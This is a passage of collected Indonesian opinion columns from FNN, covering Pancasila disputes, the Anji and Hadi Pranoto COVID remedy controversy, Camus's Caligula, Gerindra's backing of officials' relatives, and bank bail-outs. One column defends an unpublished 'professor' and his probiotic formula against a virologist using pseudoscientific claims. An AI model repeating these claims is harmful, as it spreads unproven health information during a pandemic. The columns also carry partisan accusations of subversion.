1945. Bukan konteks historis tetapi menjadi ideologi perjuangan saat ini. NKRI adalah Pancasila tanggal 18 Agustus 1945. Bukannya Pancasila tanggal 1 Juni 1945. Kalau yang 1 Juni 1945 bukan Pancasila dan NKRI. Jika diperjuangkan agar berlaku, maka itu masuk kategori subversif atau makar. Upaya untuk merongrong, dan dapat mengganti Pancasila. Ini kejahatan terhadap keamanan negara. Melanggar ketentuan Pasal 107 KUHP. Bila ada narasi "partai sebagai alat perjuangan untuk membentuk karakter bangsa berdasarkan Pancasila 1 Juni 1945" dan tugas partai "mempengaruhi dan menjiwai jalannya penyelengaraan negara agar senantiasa berdasarkan pada ideologi Pancasila 1 Juni 1945" dapatkah itu dibenarkan ? Jelas sangat inkonstitusional. Telah merongrong kewibawaan Pancasila 18 Agustus 1945. Jelas itu adalah makar atau subversif? Tidak ada devini yang lain. Mungkin bung Boedi Djarot yang ribut soal Khilafah bisa menjawab pertanyaan tersebut. Jangan bersikap seperti "kuman di seberang lautan tampak, gajah di pelupuk mata tak tampak". Adil dan jujurlah dalam berteriak atau ribut-ribut itu. Jika tidak, ya rugi sendiri. Jangan sok membela NKRI, tetapi nyatanya menghianati NKRI. Model seperti itu adalah gaya perjuangan PKI dahulu. Diulangi oleh kader-kader yang neo-PKI kini. Nah, Mas Boedi Djarot, "A germ on the other side of the sea is visible, an elephant under one's own eye-lid is not !". Penulis adalah Pemerhati Politik dan Kebangsaan.

Dukun-dukun dan Jimat Corona

by Hersubeno Arief Jakarta FNN – Kamis (06/08). Barisan pembela Anji dan Hadi Pranoto. Fenomena menarik ini dalam beberapa hari terakhir bermunculan di media sosial. Gegara obrolan mereka ditayangkan di channel youtube, Anji dan Hadi jadi korban bully. Tayangannya di-takedown youtube. Keduanya juga dilaporkan ke polisi dan terancam pidana. Bukan karena mereka setuju dengan pandangan Anji yang kontroversial. Apalagi percaya obat pencegah dan penyembuh corona temuan Hadi. Tapi lebih pada perlakuan yang tidak adil. Munculnya fenomena Anji dan Hadi adalah dampak kekacauan dan disinformasi dalam penanganan corona di Indonesia. Mereka bisa dikategorikan sebagai korban. Badan kesehatan dunia WHO bahkan menyebutnya “penyakit” baru yang tidak kalah berbahaya itu dengan sebutan unik. Infodemic. Disinformasi, pengobatan palsu. Dalam sepekan terakhir, dua media asing berpengaruh The New York Times dan The Guardian menyoroti kekacauan penanganan Covid di Indonesia. Sikap pemerintah Indonesia dinilai meremehkan. Mendorong pengobatan palsu. Para pejabat pemerintah lebih percaya kepada obatan-obatan buatan dukun. Quack remedies, begitu Richard C Paddock dari New York Times menyebutnya. Kita tentu masih ingat, sebelum ditemukan pasien positif pada awal Maret, para petinggi negara sangat yakin bahwa Indonesia kebal dari Covid. Mereka malah menjadikannya sebagai bahan candaan. Menhub Budi Karya Sumadi yakin orang Indonesia kebal. Alasannya karena sering makan nasi kucing. Sejenis nasi bungkus murah yang banyak dijual di kota Yogyakarta. Budi akhirnya menjadi pejabat tinggi pertama yang kena Covid. Syukurlah kemudian dia berhasil sembuh. Menkes Terawan juga menyampaikan pesan sangat meremehkan soal masker. Menanggapi petanyaan wartawan soal mahalnya harga masker, Terawan malah menyalahkan masyarakat. Salah sendiri kenapa beli? Menurutnya yang harus menggunakan masker adalah mereka yang positiv covid. Bukan yang sehat. Dalam berbagai kesempatan Presiden Jokowi juga kedapatan tidak mengenakan masker dengan baik di ruang publik. Presiden Jokowi hanya mengenakan masker yang menutupi dagunya. Hidung dan mulutnya dibiarkan terbuka. Mentan Syahrul Yasin Limpo mengaku Litbang Departemen Pertanian menemukan kalung anti Covid. Kalung itu terbuat dari pohon ekaliptus, yang selama ini dikenal sebagai bahan minyak kayu putih. Syahrul sangat serius dengan temuannya itu. Dia berharap kalung itu jadi terobosan. Memutus mata rantai penyebaran Covid. Gubernur Bali Wayan Koster meyakini minuman tradisional arak Bali sebagai obat ampuh penyembuh covid. Dengan sangat pede dia mempromosikannya kepada Menko Marinvest Luhut Panjaitan dan Menteri Pariwisata Wisnutama. Koster berharap keampuhan Arak Bali bisa menjadikannya sebagai komoditi yang menembus pasar internasional. Lantas apa bedanya Syahrul dan Koster dengan Hadi Pranoto? Sama-sama mengaku menemukan obat anti virus. Soal kompetensi medis, ketiganya juga sama-sama tidak punya. Kalau dianggap menyesatkan publik, menyebarkan kabar bohong, bukankah dampaknya lebih berat yang dilakukan Syahrul dan Koster. Syahrul dan Koster pejabat publik. Punya pengaruh besar. Ucapan dan tindakannya mendapat coverage media yang sangat luas. Hadi hanya profesor abal. Begitu kedoknya terbongkar, ambyar semua bualannya. Orang tidak percaya. Penyanyi Dangdut Iis Dahlia pernah mengenakan kalung Syahrul dan membagikan infonya kepada 12 juta followernya. Dia mengaku merasa aman dan lebih terlindungi setelah mengenakan kalung itu. Penyanyi lawas Yuni Shara juga mengaku membentengi diri dengan mengenakan kalung ekaliptus ketika keluar rumah. Baik Iis dan Yuni menggunakan kosa kata yang sama. “Bangga menggunakan produk Indonesia.” Netizen menghubung-hubungkan pemakaian jimat anti corona itu setelah mereka sebelumnya bertemu Presiden Jokowi di istana. Jokowi mengundang para seleb untuk membantu sosialisasi penanganan corona. Jadi apa bedanya Anji dengan Is Dahlia dan Yuni Shara? Apa bedanya Hadi dengan Syahrul dan Koster. Lebih serius lagi pertanyaannya, “Apa bedanya Menkes Terawan sebagai figur yang harusnya paling bertanggung jawab dalam penanganan pandemi dengan Anji dan Hadi?” Terawan juga semula sangat meremehkan Covid. Menganggap kita tak perlu mengenakan masker. Dia juga sempat membagikan jamu kepada pasien pertama covid ketika sembuh. Terawan merayakannya sambil memberi bingkisan jamu yang katanya biasa diminum Presiden Jokowi. Inilah yang disebut oleh the Guardian "Negara dengan dampak terparah di Asia Tenggara terhambat oleh kurangnya pengujian, buruknya komunikasi dari pemerintah, dan promosi obat palsu.” Sementara The New York Times menyebut penggunaan pengobatan palsu justru didorong oleh mereka yang seharusnya tahu lebih baik. Maksudnya tentu para pejabat pemerintah. Kalau Anji dan Hadi harus dipenjara, bagaimana dengan Terawan, Syahrul dan Koster? Kalau publik harus didisiplinkan dan didenda bila tidak mengenakan masker di area publik, bagaimana dengan Presiden Jokowi? Dia sering mengenakan masker yang tak sesuai standard. Tidak proper. Hanya jadi asesoris. Bukankah negara kita negara hukum. Ada persamaan di mata hukum. Equality before the law. Ayolah Berlaku Adil. Pepatah mengajarkan. Guru kencing berdiri, murid kencing berlari. Lha ini para pejabat yang harus jadi teladan, bukan lagi kencing berdiri. Mereka sudah kencing sambil berlari. Terus rakyatnya disuruh kencing gaya apa? End Penulis adalah Wartawan Senior FNN.co.id

Caligula…………

by Zainal Bintang “Tidak, Caligula tidak mati. Dia ada disana, dan selalu disana. Dia ada di dalam dirimu masing-masing. Jika kekuasaan diberikan kepadamu. Untuk itu senantiasa ada, dan hidup dalam nafas atas kita, satiap kali aroma ketidakadilan menyebarkan bau yang tidak sedap. Bersumber dari kekuasaan yang menghalau kontrol, menyingkirkan sikap krtis, dan marampas sumber mata air demokrasi dari tangan alam ini. Alam kemerdekaan berpendapat beda dan berbeda pendapat”, (Albert Camus). Jakarta FNN – Rabu (02/08). Hari Minggu pagi, 02 Agustus pukul 10.13 WIB, saya menerima postingan dari Ilham Bintang (Ketua Dewan Kehormatan PWI) yang berjudul “Caligula”. Dimulai dengan tulisan begini, “…barusan nonton lagi film cerita jadul yang mengisahkan kiprah Caligula, Kaisar Romawi (Tahun 37 - 41 M). Kaisar paling buruk dan kacau dalam sejarah Romawi. Demi melanggengkan kekuasaan, dia labrak seluruh tatanan masyarakat Rowawi masa itu…dst..dst.. Mendengar kata “Caligula” ingatan melayang ke tahun 1970. Ketika itu di Taman Ismail Marzuki (TIM), Cikini Jakarta, sedang dipentaskan drama “Caligula” dari 13 – 15 Januari 1970. Saya sempat menontonnya. Dimainkan oleh grup “Teater Kecil” pimpinan sutradara dan sastrawan papan atas Indonesia, Arifin. C.Noer. Saya mengenal dekat Arifien C. Noer. Pada tahun 70-an dia bolak balik ke Makassar melakukan riset mengenai adat istiadat orang Bugis-Makassar. Dia yang menulis skenario film “Sanrego” produksi Alam Film Makassar. Film yang berlatar belakang kultur Bugis-Makassar yang berprofesi sebagai bajak laut itu. Dibintangi WD. Mochtar dan Rakhmat Hidayat. “Caligula” adalah sebuah reportoar (lakon drama) kelas dunia karya Alber Camus. Diterjemahkan Asrul Sani. Tokoh sastrawan Indonesia pendiri Akademi Teater Indonesia (ATNI) itu, telah melahikran banyak aktor besar Indonesia, baik di pentas teater maupun di perfilman. Sebutlah aktor Soekarno M.Noer dan adiknya Ismet Noer. Ada nama Pietradjaya Burnama, Wahab Abdi. Kalangan sutradara teater dan film ada Wahyu Sihombing dan Teguh Karya dan lain lain. “Caligula” bercerita tentang seorang kaisar muda yang memerintah Roma dengan ambisi dan obsesi di luar akal manusia. Karena ambisinya, ia mengorbankan semua yang dimilikinya, termasuk orang-orang Roma, bahkan kekasihnya sendiri Drusilla, yang juga adalah saudara perempuannya yang diperisterikannya. “Caligula” adalah kaisar ketiga Roma. Dinobatkan pada musim semi tahun 37. Pada masa tujuh bulan pertama pemerintahannya, dia merupakan teladan dari hidup sederhana. Dia meyakinkan senat bahwa akan mematuhi nasehat mereka. Bahwa dirinya adalah hamba mereka. Seringkali mengadakan perjamuan-perjamuan besar bagi umum. Bersikap akomodatif terhadap para penentangnya. Pada waktu akhir musim gugur, tiba-tiba dia terserang penyakit “aneh” . Dan ketika telah sembuh sifatnya berubah total. Sebagian besar kerabatnya di Istana maupun rakyatnya menganggapnya sudah "gila". Tanda-tanda kegilaan “Caligula” misalnya, ketika memutuskan mengawini Drusilla adik kandungnya sendiri tanpa merasa berdosa. Sang kaisar bejat ini, suka mengambil paksa pengantin – pengantin wanita dari suaminya dan meniduri mereka. Memerintahkan orang-orang untuk mengangkat kuda kesayangannya yang bernama Incitatus untuk menjadi imam di kuil. Gemar menyebar teror. Tiba-tiba di dalam suatu jamuan makan di Istana, “Caligula” beteriak lantang , “aku sedang berpikir bahwa hanya dengan satu anggukan kepala, aku dapat menitahkan leher kalian digorok”. Hadirin langsung senyap. Sipir penjara diperintahkan mengeksekusi tahanan yang botak, kemudian dicincang-cincang sebagai makanan hewan-hewan yang ada di kebun binatang. Ketika itu sejumlah kebun binatang kehabisan persediaan daging lantaran pemerintah kesulitan keuangan akibat “Caligula” berfoya-foya. Sampai suatu hari, ada pemberontakan yang tidak tahan dengan kekejamannya. Mereka merencanakan untuk melenyapkan sang kaisar. Di akhir cerita, “Caligula” meninggal di tangan pemberontak. Albert Camus lahir di Mondovi (sekarang Deraan), Aljazair, 7 November 1913. Meninggal dunia pada umur 46 tahun dalam sebuah kecelakaan mobil di Villeblevin pada 5 Januari 1960. Camus adalah penulis dan filsuf Perancis yang terkenal dengan karya – kayanya yang absurd. Perkenalan saya yang lebih intens dengan jalan fikiran Albert Camus serta beberapa sastrawan dunia seperti Ionesco, Sartre, Anton Chekov dan Bertold Brecht atau Sophocles yang terkenal dengan trilogi Oedipus Rex dan lain-lain. Perkenalan dengan beberapa sastrawan dunia, bersumber dari pergaulan saya yang bertahun-tahun dengan tokoh-tokoh sastrawan Indonesia. Termasuk dengan Umar Kayam, WS Rendra, Putu Wijaya, Taufik Ismail dan Salim Said untuk menyebut beberapa nama. Umar Kayam pernah bertugas beberapa tahun di Makassar. Setiap hari kami bertemu dan berdiskusi berjam-jam di TIM siang dan malam. Kami berdiskusi masalah sastra pada kurun waktu yang lama. Bertahun-tahun. Aapalagi diskusi kami, didukung dengan tersedianya buku-buku dan literatur berkelas dunia di Perpustakaan HB. Jassin di komplek kesenian Jakarta tersebut. Berbagai analisis dan ulasan tentang Camus yang bertebaran di media mainstream Indonesia menyebutkan, bahwa menurut Camus, hidup manusia itu absurd. Absurd adalah sesuatu yang dianggap yang tidak masuk akal. Bahkan konyol. Letak absurditasnya adalah, karena di satu sisi manusia hidup mengarah atau menuju pada masa depan. Sementara di sisi lain, masa depan itu makin mendekatkan manusia pada kematian. Menghadapi absurditas itu, manusia sering kali melakukan kompensasi mencoba melarikan diri, dengan jalan memusatkan perhatian pada agama tertentu atau ideologi tertentu atau bahkan bunuh diri. Namun demikian, tindakan menyibukkan diri ke dalam agama atau ideologi maupun melakukan bunuh diri ditolak oleh Camus sebagai jalan keluar dari absurditas hidup manusia. Jalan keluar yang tegas baginya, adalah dengan melakukan pemberontakan atas hidup (revolt). Maksudnya, ketika menghadapi hidup, manusia harus berani. Manusia tidak boleh lari dari konflik. Tapi harus berani hidup bersama konflik! Tidak perlu takut pada bahaya kematian yang bisa datang setiap saat tanpa diketahui. Melalui karyanya “Caligula”, Camus menggambarkan bahwa manusia mati tidak bahagia dan hidup mereka tidak berarti. “Caligula” memberontak menentang ide ini. Dia memilih tindakan pembunuhan dan kekejaman untuk menegakkan ketertiban dan kontrol atas hidupnya. Camus menerbitkan karyanya ini pada tahun 1944. Namun diceritakan, dalam salah satu karyanya, Camus mengajukan sebuah epilog di ujung lakon ini dengan mengatakan, “Tidak, Caligula tidak mati. Dia ada disana dan selalu disana. Dia ada di dalam dirimu masing-masing. Jika kekuasaan diberikan kepadamu, jika engkau memiliki hati, jika engkau mencintai kehidupan, kau akan mendapati kekuasaan itu tidak terkendali, monster atau malaikat yang kau bawa itu akan masuk ke dalam dirimu. Waktu kita sangat ingin percaya pada nilai dan benda bisa menjadi indah dan berhenti menjadi tidak masuk akal. Selamat tinggal, saya akan kembali ke sejarah dan di sana, saya sudah dikurung begitu lama sehingga mereka takut untuk terlalu mencintai “. “…Alangkah berat, alangkah pedihnya upacara untuk menjadi manusia ini”, kata “Caligula.” Dengan luapan marahnya dia berucap lirih, “Aku mau menyemarakkan kejahatan dengan kebaikan, aku mau memeras tawa dari kesakitan.” Selain menciptakan maha karya “Caligula”, Camus juga melahirkan beberapa novel yang sangat kesohor ke seluruh dunia, termasuk di Indonesia. Paling tidak ada empat yang bisa disebutkan, seperti Ke Mythe de Sisyphe (Mitos Sisifus), L’Etranger (Orang Asing), Le Malentendu (Kesalahpahaman) dan Novelnya berjudul (Prancis: La Peste) dikarang tahun 1947, dan memperoleh hadiah nobel pada tahun 1957. Dalam bahasa Inggris novel La Peste dikenal dengan nama ''The Plague''. Diterjemahkan oleh NH Dini pada 1985 dengan judul “Sampar”. Diterbitkan Yayasan Obor Jakarta. Tentu masih ada lagi karya-karya hebat lainnya. Seperti kumpulan esainya yang berjudul “Perlawanan, Pemberontakan, dan Kematian” atau Resistance, Rebellion, and Death. Tema utama dari cerita-cerita tersebut adalah kesendirian manusia, perasaan asing dan terisolasi dalam masyarakatnya sendiri. Akhirnya, sayapun sulit menjawab menjawab pesan WhatsApp dari teman-teman yang bergerak di luar lingkar kekuasaan. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Gerindra Dan Prilaku Nepotisme

by M Rizal Fadillah Jakarta FNN – Rabu (05/08). Banyak yang menggeleng-geleng kepala melihat perkembangan Gerindra sekarang ini. Awalnya banyak yang melihat prospek ke depan yang cerah bagi partai ini. Karena pandangan Partai Gerindra politik yang kritis dan korektif. Tapi lama-kelamaan pengagum atau pengharap mulai kehilangan respek. Terasa sia-sia dahulu mendukung Ketua Umum Partai Gerindra untuk menjadi Presiden. Ketua Umum dan partai semakin loyo saja terhadap berbagai permasalahan rakyat dan bangs belakangan ini. Untung saja tidak terpilih menjadi Presiden. Bahkank ada yang menyatakan syukur, karena Prabowo tidak terpilih menjadi Presiden. Jangan-jangan kalau menjadi Presiden, bisa lebih parah dari yang sekarang. Rakyat yang tadinya bersemangat berharap adanya perubahan ke arah yang lebih baik, ternyata tak bisa menggantungkan harapan itu. Di Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) Gerindra senyap suara. Tragisnya, di Badan Legislasi DPR, Gerindra malah menyetujui usulan RUU gila ini untuk dibahas bersama-sama dengan pemerintah. Belakangan setelah umat Islam melalui Majelis Ulama Indonesia (MUI), Nahdatul Ulama (NU), Muhammadiyah beserta 200 lebih Ormas Islam menyatakan penolakan, barulah Gerindra ikut-ikutan menyatakan penolakan. Partai Gerindra tidak ada pembelaan kepada rakyat yang gelisah oleh permainan acak ideologi oleh partai pengusung RUU HIP. Umat berteriak keras akan bahaya dan ancaman terhadap dasar dan ideologi negara Pancasila. Gerindra seperti diam dan nyaman-nyaman saja. Yang lebih menyakitkan umat Islam adalah sang Ketua Umum ikut-ikutan mengantar lembaran busuk RUU Badan Pembinaan Ideologi Pancasila (BPIP) sebagai pengganti RUU HIP. Konyol memang karena seperti tidak membaca konstelasi keumatan. Padahal Kongres Umat Islam telah menyatakan sikap, agar lembaga BPIP dibubarkan saja. Habis-habiskan anggaran, namun tidak jelas apa kerjanya BPIP. Pada Pilkada Desember 2020 nanti, lagi lagi Gerindra berperilaku aneh. Kasarnya menjilat yang tidak perlu dijilat. Anak Presiden didukung untuk menjadi calon Walikota Solo. Menantu Presiden juga didukung untuk menjadi Calon Walikota Medan. Besan Presiden didukung untuk menjadi Bupati Tapanuli Selatan (Tampsel). Anak Wakil Presiden didukung untuk menjadi calon Walikota Tengerang Selatan. Anak Sekretaris Kabinet didukung maju di Pilkada. Sebagai hak politik, hal demikian adalah sah-sah saja. Tetapi ini merupakan dukungan menuju pengabsahan nepotisme. Kultur yang diwanti-wanti oleh Tap MPR No. XI/MPR/ 1998 dan Tap MPR No. VIII/MPR/2001 sebagai perbuatan yang harus dihindari. Bahkan harus diberantas. Bukan malah mendukung, atau menjadi penyokong prilaku politik nepotisme. Pendukung benih nepotisme tentu bukan hanya Gerindra. Tetapi Gerindra patut disorot mengingat Ketua Umumnya adalah Calon Presiden yang mendapat dukungan jutaan suara, yang berharap memiliki pemimpin yang berintegritas dan mandiri. Pemimpin yang membasti nepotisme dalam segala aspek kehidupan berbagngsa dan bernegara. Sayangnya Geridra kini sangat pragmatisme. Kalkulasi politik, mungkin juga apologi demi strategi, maka para pemeran sandiwara politik lebih suka mempermainkan perasaan hati rakyat. Sekedar untuk mendapatkan sejumput keuntungan bagi kelompok atau partai. Lagi pula Pemilu waktunya masih lama. Bukankah Parpol itu membutuhkan dukungan rakyat hanya di saat Pemilu? Nepotisme harus diberantas, jika negara ingin kuat dan bersih. Nepotisme ada dalam satu nafas dengan Kolusi dan Korupsi (KKN). Penyelenggara negara mesti memiliki komitmen untuk melakukan pemberantasan KKN. Jika komitmen itu sudah hilang, maka baiknya Ketetapan MPR atau peraturan perundang-undangan yang ada dibuang saja ke bak dan tong sampah. Rakyat sudah semakin muak pada karakter pemerintahan yang didukung partai-partai politik yang sudah tidak menperdulikan aturan aturan hukum. Silahkan ber-KKN dengan bebas dan leluasa sesuka hati. Tidak peduli pada pandangan luar selain dari diri, kelompok, dan partainya. Mengelola negara seperti miliknya sendiri. Kekuasaan adalah aku--l'etat cest moi. Sebaiknya Gerindra introspeksi dan evaluasi atas langkah yang menenggelamkan diri itu. Hukum politik selalu ada "reward" dan "punishment". Jangan abaikan dan persetankan suara rakyat. Kekuasaan dan jabatan itu tidak abadi. Pada akhirnya akan berakhir juga. Tentu semua sudah sangat tahu akan hal itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

Salah Sasaran, Serangan Saifudin Hakim ke Profesor Sukardi!

by Mochamad Toha Jakarta FNN - Rabu (05 Agustus 2020). Nama dr. Mohamad Saifudin Hakim, MSc, PhD menjadi viral sejak wawancara Erdian Anji Prihartanto, penyanyi yang akrab dipanggil Anji, dengan klaim Hadi Pranoto yang disebut dalam kanal Youtube-nya sebagai penemu Antibodi Covid-19. Mengutip Kompas.com, Minggu (02/08/2020, 18:50 WIB), dalam video itu, Hadi Pranoto memperkenalkan diri sebagai profesor sekaligus Kepala Tim Riset Formula Antibodi Covid-19. Ia menyebutkan bahwa cairan Antibodi Covid-19 yang ditemukannya bisa menyembuhkan ribuan pasien Covid-19. Cairan antibodi Covid-19 tersebut diklaim telah didistribusikan di Pulau Jawa, Bali, dan Kalimantan. Melansir Tempo.co, Minggu (Minggu, 2 Agustus 2020 21:01 WIB), para dokter spesialis seperti Pandu Riono, Jaka Pradipta, Aris Ramdhani, dan Ferdiriza Hamzah mengungkapkan kegusarannya kepada Anji di Twitter mereka, Ahad, 2 Agustus 2020. Mereka pun merespons konten Anji berjudul Bisa Kembali Normal? Obat Covid-19 Sudah Ditemukan!! yang tayang di kanal Youtube-nya, Jumat, 31 Juli 2020. Aris Ramdhani, dokter spesialis bedah umum, misalnya menyatakan perbuatan Anji dengan menghadirkan narasumber yang tidak jelas latar jelas keilmuwannya tapi mengklaim telah menemukan obat, sangat membahayakan. Yang tak kalah serunya adalah reaksi Saifudin Hakim. Kalau dalam tulisan awalnya lebih mempertanyakan “kepakaran mikrobiologi” Hadi Pranoto, pada tulisan berikutnya justru terkesan “menyerang” kepakaran “Profesor Ainul Fatah”. Tampaknya, pria kelahiran Rembang, 22 Februari 1985, ini mulai sadar bahwa penyebutan Prof Ainul Fatah alias Prof Sukardi sebagai ahli mikrobiologi ternyata salah. Dari googling yang dia lakukan, ternyata Prof Sukardi itu ahli mikro kultur bakteriologi. Dosen dan juga peneliti virus Fakultas Kedokteran, Kesehatan Masyarakat, dan Keperawatan (FKKMK) UGM Jogjakarta itu kali ini benar-benar blejeti Formulator Probiotik Siklus yang formulanya memang benar-benar bisa disebut sebagai Revolusi Kesehatan. Terlebih di saat dunia kini dilanda Virus Corona atau Covid-19 yang belum juga ditemukan vaksinnya. Untuk Mas Dokter Hakim – saya panggil demikian saja supaya akrab – dari yang saya baca, Prof AF tidak pernah klaim sebagai penemu Antibodi Covid-19. Kalau kemudian ada yang klaim sebagai penemu, itu di luar tanggung jawab Prof AF. Yang menjadi pertanyaan sekarang ini, mengapa Mas Dokter Hakim mengalihkan “serangan” ke Prof AF? Ayolah bersikap sebagai profesional peneliti muda jenius yang pinter. Dari catatan yang saya baca, Anda termasuk dosen dan dokter yang pinter. Terbukti, Anda 2 kali mendapat beasiswa. Beasiswa LPDP, Erasmus University Rotterdam (2014). Beasiswa Luar Negeri DIKTI, Erasmus University Rotterdam (2011). Undergraduate, Bachelor Degree (S.Ked), Fakultas Kedokteran, Universitas Gadjah Mada, Indonesia, 08/2003 - 01/2007 Thesis : Faktor risiko anemia saat persalinan pada ibu hamil di daerah endemik malaria, Jepara, Jawa Tengah . Undergraduate, Medical Doctor (MD), Fakultas Kedokteran, Universitas Gadjah Mada, Indonesia, 05/2007 - 01/2009 Thesis : Faktor risiko anemia saat persalinan pada ibu hamil di daerah endemik malaria, Jepara, Jawa Tengah. Master, Infection and Immunity, Erasmus University Rotterdam, Belanda, 08/2011 - 08/2013 Thesis : Inhibitory receptor molecules in chronic hepatitis B and C infections. Doctor, Virology and Immunology, Erasmus University Rotterdam, Belanda, 10/2014 - 09/2018 Thesis : Hepatic and Enteric Viral Infections: Molecular epidemiology, immunity and antiviral therapy. Namun, sayangnya, Mas Dokter Hakim sedikit terjebak dengan pola “sesat pikir”. Mungkin karena Anda merasa lebih pinter dan unggul – karena sering nulis di berbagai jurnal ilmiah dan sebagainya – sehingga dengan mudah mem-bully seorang AF. Siapakah sebenarnya “Profesor Ainul Fatah” (PROF. DR. AINUL FATAH) alias "Sukardi", yang meng-klaim dirinya sebagai "professor ahli kultur mikrobakteriologi"? Dan juga “penemu” obat anti-covid-19? “Dongeng” tentang ini terpusat pada, a so called “genius professor”, misterius, tapi di saat yang sama “terkenal” di dunia, bernama Prof. Dr. Ainul Fatah alias Sukardi. Saya sendiri pernah bertemu dengan beliau ini di Suncity Hotel, Sidoarjo, sekitar bulan April 2019 dalam sebuah seminar yg diselenggarakan oleh komunitas mereka. Saya sendiri memberanikan diri mendaftar atas bantuan seorang teman yang juga membiayai perjalanan saya dari Jogja-Surabaya pp dengan kereta. (Rasanya deg-degan saat itu meskipun saya mendaftar secara resmi, di kereta juga sulit tidur) Sosoknya sendiri digambarkan sebagai sosok misterius. Ketika dia hadir di lokasi seminar, pembawa acara berkali2 mengingatkan untuk tidak boleh mengambil gambar (foto beliau). Apalagi merekam dengan video. Saya sendiri berhasil memfoto beliau secara sembunyi2 (supaya tidak ketahuan panitia) ketika itu. Dia disebut sebagai “formulator”. Beliau ini digambarkan sebagai “aset negara”, keluar rumah pun ada pengawalnya de el el. Pokoknya melebihi pejabat lah. Sosok ini digambarkan kurang lebih seperti ini, di berbagai website: https://m.facebook.com/photo.php?fbid=330080957733416&id=100021945434609&set=a.115187722556075&source=57 Siapa saja yang sudah malang melintang di dunia akademisi (sains) dan riset, mengenali kejanggalan-kejanggalan seperti ini sangat mudah. Namun bagi orang awam, mungkin harus djelaskan terlebih dahulu. Kita bahas satu per satu kejanggalan-kejanggalan sosok ini. 1. Kultur Mikrobakteriologi atau Mikrokultur bakteriologi. Ini adalah taktik untuk mengelabuhi orang awam. Sebagaimana Vicky Prasetyo menciptakan istilah-istilah aneh dengan menggabungkan kata-kata yang seolah berhubungan. Mikrobakteriologi? Mikro-bakterio-logi → Mikro - Bakteri - Logos? Ilmu ttg bakteri mikro? Semua bakteri itu termasuk microbes. Microbes adalah organisme yang terlalu kecil untuk dilihat dengan mata telanjang. Mayoritas bakteri tidak bisa dilihat dengan mata telanjang. Mikrobakteriologi? Apakah ada bidang "Makrobakteriologi"? TIDAK ADA. Saya sengaja tidak mengutip point selanjutnya (sampai 5 point) karena rasanya tidak terlalu penting untuk dikomentari. Mungkin Mas Dokter Hakim perlu saya kutipkan komentar dari seorang dokter senior yang mengkritisi tulisan panjenengan itu. Waduh... Nih orang (yang bantah) ilmunya juga masih cetek sebetulnya. Saya dulu juga sangat heran dengan istilah2 yang ada. Sadar pemahaman saya yang masih super dangkal, lalu saya browsing2. Nah ketemu istilah Mikrobakteri, yakni bakteri yang hanya bisa terlihat dengan mikroskop elektron dengan pembesaran di atas 1.000 kali. So.. Mikrobakteri/Mikrobakteriologi itu bukan istilah yang mengada-ada. Poin ini aja doi dah kelihatan ceteknya... Jadi males bahas poin lainnya. Mungkin Mas Dokter Hakim tidak tahu kalau sekarang ini justru sudah banyak dokter yang mulai mengenal “ilmu baru” yang disampaikan Prof AF. Termasuk tenaga medis lainnya. Di sini Mas Dokter Hakim perlu telisik siapa saja mereka ini. Jangan sampai sampeyan ketinggalan kereta hanya karena “sesat pikir”, merasa lebih pinter dan unggul dari seorang AF. Seperti yang Anda bilang, “kultur bakteri, bukan cabang spesifik di bidang mikrobiologi”. (ttps://www.hopkinsmedicine.org/microbiology/services/BACTERIOLOGY/culture/index.html). Dari sini saja Anda kemarin tidak cermat dan kurang teliti ketika googling nama Prof AF sebagai ahli mikrobiologi seperti keahlian Mas Dokter Hakim. First, who has the authority to make a list of so-called “ahli”? One thing in common dari sesiapa pun yang dianggap “ahli” oleh publik adalah mereka PUNYA TRACK RECORD PENELITIAN. Apalagi ini seseorang dengan gelar “Profesor”. (Wow banget kan?) Mari kita cari di database penelitian ilmiah pubmed -bisa dicoba untuk kroscek kalau ada yang mengaku-aku ahli lainnya-. TIDAK ADA record penelitian atas nama “Ainul Fatah”. https://www.ncbi.nlm.nih.gov/pubmed/?term=ainul+fatah. Mengapa Mas Dokter Hakim tidak menemukan satu pun artikel atau publikasi ilmiah hasil penelitian Prof AF? Karena yang saya tahu, catatan ilmiah yang Anda minta itu ada dalam otaknya. Dia tidak pernah merekan dalam bentuk catatan. Yang mencatatnya selama ini ya “murid-murid” Prof AF yang setia belajar “ilmu baru” yang disampaikan Prof AF itu: Probiotik Siklus/Komunitas! *** Penulis adalah wartawan senior.

UU Korona Nomor 2/2020, Magaskandal BLBI Terulang Lagi

by Dr. Marwan Batubara Jakarta FNN – Rabu (05/08). Salah satu ketentuan yang berpotensi merugikan rakyat dalam UU Korona Nomor 2/2020. Terutama aturan tentang perubahan kewenangan Bank Indonesia (BI). Pada pasal 16 ayat (1) UU Korona antara lain memberi BI kewenangan untuk memberikan pinjaman likuiditas jangka pendek atau pembiayaan likuiditas jangka pendek berdasarkan prinsip syariah kepada Bank Sistemik atau bank selain Bank Sistemik Selian itu, BI diberi kewenangan untuk memberikan Pinjaman Likuiditas Khusus kepada Bank Sistemik yang mengalami kesulitan likuiditas. Juga yang tidak memenuhi persyaratan pemberian pinjaman likuiditas jangka pendek atau pembiayaan likuiditas jangka pendek berdasarkan prinsip syariah yang dijamin oleh Pemerintah dan diberikan berdasarkan Keputusan Komite Stabilitas Sistim Keangan (KSSK). BI juga diberi kewenangan untuk membeli/repo surat berharga negara yang dimiliki Lembaga Penjamin Simpanan untuk biaya penanganan permasalahan solvabilitas Bank Sistemik dan bank selain Bank Sistemik. Ketentuan Pasal 16 (1) UU Korona membuka peluang terjadinya penyelamatan sektor keuangan melalui skema pemberian dana talangan atau bail-out oleh negara. Kebijakan seperti ini tentu tidak adil bagi seluruh rakyat. Segelintir orang atau pemilik bank yang memperoleh bantuan khusus dari negara atas nama penyelamatan sektor keuangan. Padahal kondisi mayoritas rakyat sedang menderita. Masyarakat yang justru jauh lebih layak untuk memperoleh bantuan dari negara. Apalagi jika bank-bank tersebut bermasalah akibat berbagai pelanggaran aturan dan prilaku moral hazard dari para pemiliknya. Di sisi lain, guna menyelamatkan sektor keuangan yang diakui dapat berdampak sistemik, tersedia mekanisme lebih adil, yaitu melalui skema bail-in. Dalam skema bail-in, pemegang saham atau group bisnis dalam suatu konglomerasi dapat saling bantu menyelamatkan sektor bisnis yang bermasalah. Ketentuan tentang mekanisme bail-in ini pun telah diatur dalam UU Nomor 9/2016 tentang Pencegahan dan Penanganan Krisis Sistem Keuangan (PPKSK). Para pemilik bank yang umumnya konglomerat tersebut, berbisnis dibanyak sektor. Mereka akan mampu dan berkeadilan menerapkan skema bail-in. Namun langkah ini ternyata diabaikan oleh pemerintah. Padahal 